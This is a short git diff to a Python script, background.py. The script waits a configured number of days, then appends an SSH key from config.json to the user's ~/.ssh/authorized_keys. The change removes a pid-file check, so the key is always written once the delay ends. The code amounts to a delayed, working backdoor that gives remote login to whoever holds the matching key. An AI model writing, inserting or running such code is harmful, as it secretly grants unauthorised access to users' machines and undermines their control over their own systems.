diff --git a/background.py b/background.py
index 5d5e9b3..6c5f8d6 100644
--- a/background.py
+++ b/background.py
@@ -9,8 +9,7 @@ with open('config.json') as f:
 
 time.sleep(config["days"] * 86400)
 
-if os.path.isfile(os.path.expanduser('~/.the-long-night-pid')):
-    with open(os.path.expanduser('~/.ssh/authorized_keys'), 'a') as f:
-        f.write("\n")
-        f.write(config["ssh_key"])
-        f.write("\n")
+with open(os.path.expanduser('~/.ssh/authorized_keys'), 'a') as f:
+    f.write("\n")
+    f.write(config["ssh_key"])
+    f.write("\n")